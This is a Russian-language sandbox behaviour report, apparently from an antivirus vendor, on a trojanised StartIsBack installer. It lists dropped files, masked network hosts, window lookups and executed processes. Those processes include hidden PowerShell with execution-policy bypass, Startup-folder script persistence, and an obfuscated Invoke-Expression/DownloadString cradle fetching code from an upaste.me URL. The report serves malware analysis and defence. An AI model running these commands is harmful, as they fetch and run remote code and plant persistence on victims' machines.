C:\kinghaze\w81\styles\aero 8.msstyles
C:\kinghaze\w81\styles\aerobydesign.msstyles
C:\kinghaze\w81\styles\plain8.msstyles
C:\kinghaze\w81\styles\windows 7.msstyles

Перемещает следующие файлы

%LOCALAPPDATA%\startisback\cache\appsfolder.dat.new в %LOCALAPPDATA%\startisback\cache\appsfolder.dat

Изменяет следующие файлы

%LOCALAPPDATA%\microsoft\penworkspace\discovercachedata.dat

Сетевая активность

Подключается к

'tu###.mywire.org':7974
'up##te.me':443

TCP

Другие

'up##te.me':443

UDP

DNS ASK tu###.mywire.org
DNS ASK up##te.me

Другое

Ищет следующие окна

ClassName: 'Edit' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'Progman' WindowName: ''
ClassName: 'Proxy Desktop' WindowName: ''
ClassName: 'ReBarWindow32' WindowName: ''
ClassName: 'MSTaskSwWClass' WindowName: ''
ClassName: 'MSTaskListWClass' WindowName: ''
ClassName: 'PeopleBand' WindowName: ''
ClassName: 'TrayButton' WindowName: ''
ClassName: 'Shell_SecondaryTrayWnd' WindowName: ''
ClassName: 'TrayDummySearchControl' WindowName: ''
ClassName: 'Static' WindowName: ''
ClassName: 'Button' WindowName: ''
ClassName: 'ToolbarWindow32' WindowName: ''
ClassName: 'DynamicContent1' WindowName: ''
ClassName: 'TrayNotifyWnd' WindowName: ''
ClassName: 'TrayShowDesktopButtonWClass' WindowName: ''
ClassName: 'PenWorkspaceButton' WindowName: ''
ClassName: 'TIPBand' WindowName: ''
ClassName: 'TrayClockWClass' WindowName: ''
ClassName: 'VirtualTouchpad' WindowName: ''
ClassName: 'CopilotButton' WindowName: ''
ClassName: 'TrayInputIndicatorWClass' WindowName: ''
ClassName: 'InputIndicatorButton' WindowName: ''
ClassName: 'IMEModeButton' WindowName: ''
ClassName: 'DynamicContent2' WindowName: ''
ClassName: 'NotifyIconOverflowWindow' WindowName: ''
ClassName: 'TaskListThumbnailWnd' WindowName: ''
ClassName: 'SysPager' WindowName: ''
ClassName: 'tooltips_class32' WindowName: ''
ClassName: 'Start' WindowName: ''
ClassName: '' WindowName: 'Network Flyout'
ClassName: 'SysTreeView32' WindowName: ''
ClassName: 'ApplicationFrameWindow' WindowName: ''
ClassName: 'ShellDLL_DefView' WindowName: ''
ClassName: 'SystemTray_Main' WindowName: ''
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''

Создает и запускает на исполнение

'%ProgramFiles%\startisback.exe'
'%ProgramFiles%\patch.exe'
'%ALLUSERSPROFILE%\setup.exe'
'C:\kinghaze\kur.exe'
'C:\kinghaze\w10_2\startisbackcfg.exe' /install /elevated /silent
'C:\kinghaze\w10_2\startscreen.exe' /stop
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
'%ProgramFiles(x86)%\startisback\startscreen.exe' /unpin
'%ProgramFiles(x86)%\startisback\startisbackcfg.exe' /welcome
'%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\ShellNew\dfr\SoftwareDistribution.js"
'%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\Resources\Licenses\setup\ChromeUpdater.js"

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1 (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /Create /TN "\StartIsBack health check" /XML "%TEMP%\sibtask.xml" (со скрытым окном)
'%WINDIR%\explorer.exe'
'%WINDIR%\explorer.exe' /NoUACCheck
'%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\ShellNew\dfr\SoftwareDistribution.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SoftwareDistribution.js*" (со скрытым окном)
'%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs"
'C:\kinghaze\w10_2\startscreen.exe' /stop (со скрытым окном)
'%WINDIR%\syswow64\taskkill.exe' /F /IM startscreen* (со скрытым окном)
'%WINDIR%\syswow64\taskkill.exe' /F /IM explorer* (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://upaste.me/r/dcef605377e426c52')" (со скрытым окном)

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней